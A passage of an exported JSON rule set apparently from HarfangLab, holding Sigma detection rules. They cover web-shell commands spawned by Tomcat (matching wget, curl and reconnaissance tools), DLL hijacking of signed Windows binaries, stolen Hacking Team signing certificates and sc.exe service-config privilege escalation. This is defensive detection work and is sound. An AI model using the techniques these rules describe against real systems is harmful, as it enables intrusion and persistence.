+  "rule_description": "Detects authentication of the DefaultAccount account, also known as the Default System Managed Account (DSMA).\nThis account is disabled by default and can be used by attackers to maintain access to victim system via a persistence.\nIt is recommended to investigate action made within the newly created session.\n",
+  "rule_creation_date": "2023-12-12",
+  "rule_modified_date": "2025-01-09",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.initial_access",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1078.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e021ad68-b12f-4190-b70f-e79e622e5860",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.296440Z",
+  "creation_date": "2026-03-23T11:45:35.296442Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.296447Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF",
+    "https://attack.mitre.org/techniques/T1203/",
+    "https://attack.mitre.org/techniques/T1505/003/"
+  ],
+  "name": "t1203_tomcat_suspicious_command.yml",
+  "content": "title: Suspicious Command Executed by Tomcat\nid: e021ad68-b12f-4190-b70f-e79e622e5860\ndescription: |\n    Detects the execution of a suspicious command by the Tomcat web server software likely related to a web shell or a command injection via a vulnerable application.\n    Adversaries may backdoor web servers with web shells to establish persistent access to systems.\n    It is recommended to verify the legitimacy of this command and check any other command executed by the Tomcat server.\nreferences:\n    - https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF\n    - https://attack.mitre.org/techniques/T1203/\n    - https://attack.mitre.org/techniques/T1505/003/\ndate: 2023/04/11\nmodified: 2026/02/23\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1203\n    - attack.persistence\n    - attack.t1505.003\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.Exploitation\n    - classification.Linux.Behavior.InitialAccess\n    - classification.Linux.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection_user:\n        User:\n            - 'root'\n            - 'www-data'\n            - 'tomcat'\n            - 'web'\n\n    # NOTE: Tomcat is executed via java and its main class is 'org.apache.catalina.startup.Bootstrap'\n    selection_parent:\n        ParentImage|endswith: 'java'\n        ParentCommandLine|contains: 'org.apache.catalina.startup.Bootstrap'\n    selection_grandparent:\n        GrandparentImage|endswith: 'java'\n        GrandparentCommandLine|contains: 'org.apache.catalina.startup.Bootstrap'\n\n    selection_image:\n        - Image|endswith:\n            - '/wget'\n            - '/wget2' # https://discussion.fedoraproject.org/t/f40-change-proposal-wget2-as-wget/96422\n            - '/curl'\n            - '/cat'\n            - '/crontab'\n            - '/hostname'\n            - '/ifconfig'\n            - '/ip'\n            - '/iptables'\n            - '/ls'\n            - '/netstat'\n            - '/pwd'\n            - '/route'\n            - '/whoami'\n            - '/w'\n            # To many false positive\n            #- '/uname'\n        - CommandLine|contains: 'sh -c uname'\n\n    exclusion_iparapheur_pdf:\n        CommandLine: 'curl --silent -G -f*--data-urlencode command=*/opt/iParapheur/*'\n\n    exclusion_grangle:\n        - CommandLine:\n            - 'cat /GRANGLE/*/versions'\n            - 'ls -1 /GRANGLE/appserver/*'\n            - 'ls /GRANGLE/*'\n        - CommandLine|startswith: 'ls -pAHL /'\n          Ancestors|contains: '/GRANGLE/appserver/'\n\n    exclusion_lsprodpid:\n        CommandLine: 'ls -f /proc/*/fd'\n\n    exclusion_aptare:\n        CommandLine: 'hostname --fqdn'\n        CurrentDirectory: '/opt/aptare/bin/'\n\n    exclusion_soffice:\n        CommandLine: '/bin/domainname'\n        Ancestors|contains:\n            - '/opt/openoffice4/program/soffice.bin|'\n            - '/opt/openoffice.org/program/soffice.bin|'\n            - '/opt/openoffice.org?/program/soffice.bin|'\n\n    exclusion_arcsight:\n        CommandLine:\n            - '/bin/hostname'\n            - '/bin/netstat -an'\n        CurrentDirectory|contains: '/arcsight/'\n\n    condition: selection_user and (selection_parent or selection_grandparent) and selection_image and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e021ad68-b12f-4190-b70f-e79e622e5860",
+  "rule_name": "Suspicious Command Executed by Tomcat",
+  "rule_description": "Detects the execution of a suspicious command by the Tomcat web server software likely related to a web shell or a command injection via a vulnerable application.\nAdversaries may backdoor web servers with web shells to establish persistent access to systems.\nIt is recommended to verify the legitimacy of this command and check any other command executed by the Tomcat server.\n",
+  "rule_creation_date": "2023-04-11",
+  "rule_modified_date": "2026-02-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1203",
+    "attack.t1505.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e06d3a0a-a3d4-4ef3-86b9-365b9bc9ccd1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081188Z",
+  "creation_date": "2026-03-23T11:45:34.081190Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081195Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_sethc.yml",
+  "content": "title: DLL Hijacking via sethc.exe\nid: e06d3a0a-a3d4-4ef3-86b9-365b9bc9ccd1\ndescription: |\n    Detects potential Windows DLL Hijacking via sethc.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'sethc.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dui70.dll'\n            - '\\oleacc.dll'\n            - '\\playsndsrv.dll'\n            - '\\uxtheme.dll'\n            - '\\wtsapi32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e06d3a0a-a3d4-4ef3-86b9-365b9bc9ccd1",
+  "rule_name": "DLL Hijacking via sethc.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via sethc.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e07c8f70-5bf0-46b1-8151-7bddc3acca2e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087952Z",
+  "creation_date": "2026-03-23T11:45:34.087954Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087966Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.talosintelligence.com/old-certificate-new-signature/",
+    "https://attack.mitre.org/techniques/T1553/002/"
+  ],
+  "name": "t1553_002_hacking_team_stolen_cert_process_execution.yml",
+  "content": "title: Process Executed Signed with Hacking Team Certificate\nid: e07c8f70-5bf0-46b1-8151-7bddc3acca2e\ndescription: |\n    Detects the execution of a process signed using one of Hacking Team certificates.\n    HackingTeam is an Italian information technology company that sells offensive intrusion and surveillance capabilities to governments, law enforcement agencies and corporations.\n    This can be the sign of a malware using a fake signature to evade AV/EDR detection.\n    It is recommended to analyze the binary to search for malicious contents.\nreferences:\n    - https://blog.talosintelligence.com/old-certificate-new-signature/\n    - https://attack.mitre.org/techniques/T1553/002/\ndate: 2023/07/13\nmodified: 2025/04/10\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1553.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.StolenCertificate\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ProcessSignatureSignerThumbprint:\n            - '2A1DA6DC8635E6C725CCCBE6C035EEC813FBEB2E' # Certum Level III CA - Open Source Developer, William Zoltan\n            - '6C5886C0DA723E8B2AEC8C02392D4B175E793EBE' # VeriSign Class 3 Code Signing 2010 CA - HT Srl\n            - 'B366DBE8B3E81915CA5C5170C65DCAD8348B11F0' # VeriSign Class 3 Code Signing 2010 CA - HT Srl\n            - 'B7C646E3A433986E165BA45B209DA4A2C4111939' # Certum Code Signing CA - Luca Marcone\n\n    condition: selection\nlevel: high\n# level: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e07c8f70-5bf0-46b1-8151-7bddc3acca2e",
+  "rule_name": "Process Executed Signed with Hacking Team Certificate",
+  "rule_description": "Detects the execution of a process signed using one of Hacking Team certificates.\nHackingTeam is an Italian information technology company that sells offensive intrusion and surveillance capabilities to governments, law enforcement agencies and corporations.\nThis can be the sign of a malware using a fake signature to evade AV/EDR detection.\nIt is recommended to analyze the binary to search for malicious contents.\n",
+  "rule_creation_date": "2023-07-13",
+  "rule_modified_date": "2025-04-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1553.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e08056f7-9f9e-4eb9-bed2-2d78b6a503ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081394Z",
+  "creation_date": "2026-03-23T11:45:34.081396Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081401Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_arp.yml",
+  "content": "title: DLL Hijacking via arp.exe\nid: e08056f7-9f9e-4eb9-bed2-2d78b6a503ef\ndescription: |\n    Detects potential Windows DLL Hijacking via arp.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'arp.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\IPHLPAPI.DLL'\n            - '\\snmpapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e08056f7-9f9e-4eb9-bed2-2d78b6a503ef",
+  "rule_name": "DLL Hijacking via arp.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via arp.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e090a723-0744-49e2-9bf3-4ff220b193f1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079214Z",
+  "creation_date": "2026-03-23T11:45:34.079216Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079221Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1059.006/"
+  ],
+  "name": "t1204_001_url_shortcut_via_cmd.yml",
+  "content": "title: URL Shortcut Created via cmd.exe\nid: e090a723-0744-49e2-9bf3-4ff220b193f1\ndescription: |\n    Detects the suspicious creation of a .url shortcut via cmd.\n    Attackers can create URL shortcuts to lure users to execute a malicious payload or as a means to establish persistence by, for instance, placing the shortcut in the startup directory.\n    It is recommended to analyze the process creating the shortcut as well as the shortcut itself for malicious content.\nreferences:\n    - https://attack.mitre.org/techniques/T1059.006/\ndate: 2024/05/13\nmodified: 2025/01/15\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.InitialAccess\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        CommandLine|contains|all:\n            - 'echo [InternetShortcut]'\n            - 'echo URL='\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e090a723-0744-49e2-9bf3-4ff220b193f1",
+  "rule_name": "URL Shortcut Created via cmd.exe",
+  "rule_description": "Detects the suspicious creation of a .url shortcut via cmd.\nAttackers can create URL shortcuts to lure users to execute a malicious payload or as a means to establish persistence by, for instance, placing the shortcut in the startup directory.\nIt is recommended to analyze the process creating the shortcut as well as the shortcut itself for malicious content.\n",
+  "rule_creation_date": "2024-05-13",
+  "rule_modified_date": "2025-01-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1204.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e0973520-fb65-4938-9f52-9eb6a7609f63",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619330Z",
+  "creation_date": "2026-03-23T11:45:34.619332Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619337Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment",
+    "https://attack.mitre.org/techniques/T1068/"
+  ],
+  "name": "t1068_unprivileged_user_modifying_service_config_through_sc.yml",
+  "content": "title: Unprivileged User Modified Service Configuration via sc.exe\nid: e0973520-fb65-4938-9f52-9eb6a7609f63\ndescription: |\n    Detects a low integrity user launching sc.exe with specific command-line arguments.\n    An unprivileged user can perform privilege escalation by exploiting a service's weak permissions and modifying its configuration through sc.exe.\n    It is recommended to investigate the registry keys modified by the sc.exe binary and the \"binPath\" argument to look for paths pointing to malicious content.\n    This rule is often triggered by Remote Monitoring and Management (RMM) tools, it is recommended to verify if this is expected in your environment.\nreferences:\n    - https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment\n    - https://attack.mitre.org/techniques/T1068/\ndate: 2022/09/07\nmodified: 2025/01/31\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1068\n    - attack.persistence\n    - attack.t1574.010\n    - attack.t1574.011\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Exploitation\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'sc.exe'\n        IntegrityLevel:\n            - 'Low'\n            - 'Medium'\n\n    selection_args_1:\n        CommandLine|contains|all:\n            - 'config'\n            - 'binPath'\n\n    selection_args_2:\n        CommandLine|contains|all:\n            - 'failure'\n            - 'command'\n\n    condition: selection and 1 of selection_args_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e0973520-fb65-4938-9f52-9eb6a7609f63",
+  "rule_name": "Unprivileged User Modified Service Configuration via sc.exe",
+  "rule_description": "Detects a low integrity user launching sc.exe with specific command-line arguments.\nAn unprivileged user can perform privilege escalation by exploiting a service's weak permissions and modifying its configuration through sc.exe.\nIt is recommended to investigate the registry keys modified by the sc.exe binary and the \"binPath\" argument to look for paths pointing to malicious content.\nThis rule is often triggered by Remote Monitoring and Management (RMM) tools, it is recommended to verify if this is expected in your environment.\n",
+  "rule_creation_date": "2022-09-07",
+  "rule_modified_date": "2025-01-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068",
+    "attack.t1574.010",
+    "attack.t1574.011"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e09e6a31-8fad-48d4-a795-a6a24020c650",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.593134Z",
+  "creation_date": "2026-03-23T11:45:34.593137Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.593144Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_query.yml",
+  "content": "title: DLL Hijacking via query.exe\nid: e09e6a31-8fad-48d4-a795-a6a24020c650\ndescription: |\n    Detects potential Windows DLL Hijacking via query.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'query.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\logoncli.dll'\n            - '\\netutils.dll'\n            - '\\REGAPI.dll'\n            - '\\samcli.dll'\n            - '\\srvcli.dll'\n            - '\\SspiCli.dll'\n            - '\\utildll.dll'\n            - '\\WINSTA.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e09e6a31-8fad-48d4-a795-a6a24020c650",
+  "rule_name": "DLL Hijacking via query.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via query.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
